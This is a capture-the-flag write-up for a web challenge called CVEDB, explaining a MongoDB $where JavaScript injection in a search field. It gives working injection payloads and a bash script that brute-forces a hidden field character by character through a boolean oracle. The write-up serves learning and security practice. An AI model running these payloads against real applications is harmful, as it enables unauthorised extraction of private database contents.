Use the tree to jump between collections without leaving the reader.

archive Select writeup Open tree
NullconCTF2026/WriteupCVEDB.en.md READ_ONLY

CVEDB

Challenge Data

Field Value
CTF Nullcon CTF 2026
Challenge CVEDB
Category Web
Context "Let's implement our own CVE database with modern web-scale technologies, so without actual SQL."
URL http://52.59.124.14:5000/
Flag ENO{This_1s_A_Tru3_S1mpl3_Ch4llenge_T0_Solv3_Congr4tz}

Challenge Description

The application was a CVE database with a very simple search feature. The hint about without actual SQL pointed toward NoSQL, so the MongoDB query construction had to be reviewed.


Reconnaissance

whatweb showed an Express backend, and the form behavior suggested that the query parameter ended up inside a regex search.

A few quick tests already gave useful hints.

  • CVE returned all records.
  • flag returned only one.
  • ( or ) broke the query with a database error.

On top of that, one result stood out. CVE-1337-1337 had a very suspicious description. The HTML also contained commented fields that were not shown in the interface.

<!-- <div class="cve-product">TODO cve.product</div> -->
<!-- <div class="cve-vendor">TODO cve.vendor</div> -->

That already suggested each document had more data than what the UI displayed.


Analysis

The vulnerable part was a $where query with user input interpolated directly into JavaScript. Conceptually it looked like this.

const filter = {
  $where: `/${query}/i.test(this.description) || /${query}/i.test(this.id)`,
};

If the input closed the regex and injected its own code, Mongo would end up evaluating arbitrary JavaScript against each document. For example, this string

test/i)||true||(/test

made the condition return true for everything, which is why all documents appeared.

Once that was confirmed, the next step was to test which fields existed in this. product and vendor were both present even though the interface did not show them, and product was exactly where the flag began.


Solution

The first confirmation was that the flag was in product, using a boolean condition.

1337/i)&&(this.product.startsWith("ENO"))&&(/1337

Then its length was measured and extracted character by character with startsWith(). The requests kept extending the valid prefix one step at a time.

1337/i)&&(this.product.startsWith("ENO{T"))&&(/1337

A small bash script was enough to automate it.

FLAG="ENO{"
CHARSET='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}'

for pos in $(seq 4 53); do
  for char in $(echo "$CHARSET" | fold -w1); do
    prefix="${FLAG}${char}"
    payload="1337/i)&&(this.product.startsWith(\"${prefix}\"))&&(/1337"

    result=$(curl -s -X POST http://52.59.124.14:5000/search \
      --data-urlencode "query=${payload}" | grep -c "Found 1")

    if [ "$result" -eq 1 ]; then
      FLAG="${prefix}"
      break
    fi
  done
done

echo "$FLAG"

After enough requests, the application revealed the full string.


Flag

ENO{This_1s_A_Tru3_S1mpl3_Ch4llenge_T0_Solv3_Congr4tz}